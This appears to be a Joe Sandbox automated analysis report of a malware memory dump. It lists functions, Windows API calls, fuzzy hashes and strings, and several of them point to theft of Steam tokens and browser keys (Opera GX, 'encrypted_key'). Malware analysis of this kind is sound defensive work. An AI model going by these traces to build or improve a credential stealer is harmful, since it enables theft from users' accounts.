Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternet$OpenRequest$ConnectInfoOptionQuerySendlstrcpy
String ID: ERROR$ERROR
API String ID: 3086566538-2579291623
Opcode ID: c1618506ade923976d410a78d0118844dfd2a2f2a4ce65ec30e3f137836741db
Instruction ID: 726cad4adb7466161341e2d5928f42d3ed502d238f03c06f5594ac904ff58156
Opcode Fuzzy Hash: c1618506ade923976d410a78d0118844dfd2a2f2a4ce65ec30e3f137836741db
Instruction Fuzzy Hash: 9E014F75E00118ABCB21FB76D9469CD77A86E04308F514177BC24F3293E7B8E9498AD9

Function 0041224A Relevance: 4.5, APIs: 3, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00413DB3,00000000,?), ref: 0041226C
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
CloseHandle.KERNEL32(00000000), ref: 0041228E

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: be3f5f3ec194e1506fa54ce7dd0fcfbfff3ff427d54d4a17b13e59292d64dd5a
Instruction ID: 07042d539b9cb392da1f421894f03ac4b7e1a2d86b80db83d4b3302071e4a92c
Opcode Fuzzy Hash: be3f5f3ec194e1506fa54ce7dd0fcfbfff3ff427d54d4a17b13e59292d64dd5a
Instruction Fuzzy Hash: 2FF0B471600218ABDB24EB68DC45FEEB7BC9B44B08F00006AF645D7180EEB5DAC58B54

Function 00410C85 Relevance: 4.5, APIs: 3, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 5d1f46fb138707beabd440fd8a5205b18fa244f283a7e9dc606f308aea7bae98
Instruction ID: 27e192b18a38f2f12cdae3b0b475b120c200fe1745c4f7c36bd186b6643d2323
Opcode Fuzzy Hash: 5d1f46fb138707beabd440fd8a5205b18fa244f283a7e9dc606f308aea7bae98
Instruction Fuzzy Hash: 72E08CB1200204BBE7449B99AC8DF8A76BCDB84755F100225F606D2250E6B4C9848B68

Function 0040C95C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 286COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

StrCmpCA.SHLWAPI(?,Opera GX,0043684F,0043684E,?,?,?), ref: 0040C98F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Strings

Opera GX, xrefs: 0040C97F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AttributesFileFolderPathlstrlen
String ID: Opera GX
API String ID: 1719890681-3280151751
Opcode ID: fd30662bbb0df69b7e749c14c4835a746ce06bdc28bdb211507647d3f2e04d7e
Instruction ID: f27801e8275c5d49bf7f719f28fda38a5004f758e4d98a6938de4012f210df24
Opcode Fuzzy Hash: fd30662bbb0df69b7e749c14c4835a746ce06bdc28bdb211507647d3f2e04d7e
Instruction Fuzzy Hash: B5B1ED7294011DABCF11FFA6DE425CD7775AF04308F51013AF904771A2DAB8AE8A8B99

Function 00407B0B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,?,?,?,00407C56,?), ref: 00407B8A

Strings

, xrefs: 00407B5D

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction ID: 7cbd0eafb3405f1822ca0081af98c781be9845726f70e814ec0c9ffce599534c
Opcode Fuzzy Hash: 12037c8daa12d7fcab0069a5037541411d8429e4b00213a69a2087787070dd30
Instruction Fuzzy Hash: 14119D71908509ABDB20DF94C684BAAB3F4FB00348F144466D641E32C0D33CBE85D75B

Function 00416F80 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

lstrlenA.KERNEL32(?), ref: 00416FC7

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

Strings

Soft\Steam\steam_tokens.txt, xrefs: 00416FD7

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$CreateObjectSingleThreadWaitlstrcat
String ID: Soft\Steam\steam_tokens.txt
API String ID: 502913869-3507145866
Opcode ID: 5fa3e5f5a7d99c71d5a07e024241de5809f96d492a7ce46a8d5a906dfdce2266
Instruction ID: b9e244e593406abc482e36c16cf2d8cfbf0e1e6176dab1e931287d86b5cd2df1
Opcode Fuzzy Hash: 5fa3e5f5a7d99c71d5a07e024241de5809f96d492a7ce46a8d5a906dfdce2266
Instruction Fuzzy Hash: 85012131E401196BCF00FBE6DD478CEBB74AF04358F514176FA00B7152DB78AA9A86E9

Function 004077F8 Relevance: 2.6, APIs: 2, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040,00000000,?,?,?,00407C18,?,?), ref: 0040784A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00407874

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction ID: 58502b0b00c881bab5b754626ee9ce4ad9b10c36d9ff74d45ae59ae86afa5875
Opcode Fuzzy Hash: c062e49b8eac24d7b45a027ae12e9eff25198202155d78bc8260cd663ae55519
Instruction Fuzzy Hash: C311B472A44705ABC724CFB8C989B9BB7F4EB40714F24483EE54AE7390E274B940C715

Function 0041CB82 Relevance: 2.5, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041CB93

Part of subcall function 0041BB36: lstrlenA.KERNEL32(?,0041CBA4,0041CC46,00000000,06400000,00000003,00000000,00417548,.exe,00436C54,00436C50,00436C4C,00436C48,00436C44,00436C40,00436C3C), ref: 0041BB68
Part of subcall function 0041BB36: malloc.MSVCRT ref: 0041BB70
Part of subcall function 0041BB36: lstrcpyA.KERNEL32(00000000,?), ref: 0041BB7B

malloc.MSVCRT ref: 0041CBD0

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc$lstrcpylstrlen
String ID:
API String ID: 2974738957-0
Opcode ID: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction ID: 4c3cdf298d727e75fc17b05e16df4c2533805ffc632fa59ef15d3e4aa307ec0d
Opcode Fuzzy Hash: 4595bf6652bd861db47711c07eba1f475a4793355c0293ea92a90e9bc1e457ce
Instruction Fuzzy Hash: 87F0F03224C2119BC7206F66ECC298BBB94EB447A0F150127F909DB741DA34EC4087B8

Function 00418477 Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a7be28913b008f2ae96c40d4c3cbdea9f3bf0fa10d656430b6d84dc5aab22f8
Instruction ID: d620d3b89a26654d629d90f14f46075588c5e55284dab618a13e253092a7b73d
Opcode Fuzzy Hash: 4a7be28913b008f2ae96c40d4c3cbdea9f3bf0fa10d656430b6d84dc5aab22f8
Instruction Fuzzy Hash: DF516471D05201BBCB717BAE454AAF5B2E1AF70328B14019FF414AA233AF6D4DC44E5D

Function 00407BD2 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction ID: 6bc4e95e4b4d41cd45bcf0090cf4f159da268bf51a5422b08fd3501f4d4963e9
Opcode Fuzzy Hash: f4aee46d942c90ee67f27d5e8fe5d8177bbf388d1cde3035c6f676b54f388a22
Instruction Fuzzy Hash: 01319E71D0C2149FDF16DF55D8808AEBBB1EF84354B20816BE411B7391D738AE41DB9A

Function 00411DBC Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 20eede1ec08166350aa84aaeaf6f89484e694a41dc1ff05f9af6969ada57dca3
Instruction ID: 156c1dbbae43fd1d0a321c185995a6c07ec42adcafd6aa93e4d61e548de03cb5
Opcode Fuzzy Hash: 20eede1ec08166350aa84aaeaf6f89484e694a41dc1ff05f9af6969ada57dca3
Instruction Fuzzy Hash: 57F03A71E1015DABDB15DF78DC909EEB7FDEB48204F0045BAB909D3281EA349F458B94

Function 00411D92 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction ID: 4d5d301e7642eb8bcabe02fa2709f808051272e3482dadb5ff4d38445e53d8c5
Opcode Fuzzy Hash: c785e1c56cc5dd1355e14f627ee0373bbc421026e3e3e1ef34d967437d0958bc
Instruction Fuzzy Hash: 56D05E31A00138578B5097A9FC044DEBB49CB817B5B005263FA6D9A2F0C265AD9242D8

Function 00412541 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00412577

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: 2fa73a2938dc3c0491f5427acf8d7001b7904e631cbaf8597fe0ef56ad187ad8
Instruction ID: 074d44534fbd0e3dd8e2e790cb0091cd77f8033ebee76f0ae907b77f1a728c48
Opcode Fuzzy Hash: 2fa73a2938dc3c0491f5427acf8d7001b7904e631cbaf8597fe0ef56ad187ad8
Instruction Fuzzy Hash: B9E09AB0D0420EAFCF44EFA8D5152DDBAF8BF08308F00916AC115F7240E77442458FA9

Function 00411E1F Relevance: 1.3, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000001,?,?,?,004168FA,?), ref: 00411E37

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction ID: dc66f3ebc75c526b8f29ca666c763a1a9938aadc44e5483d7dab6bcf02b3e8fe
Opcode Fuzzy Hash: ab387d88e84e58f7ee09dd024291177f022f73d374550d18fdbda7562f7ae9e7
Instruction Fuzzy Hash: 08E02B3AA41B201FC7724BAA8804AB7BB5A9FC2F61B18412BDF49CB324D535CC4182E4

Function 00407EAE Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00407EB5

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
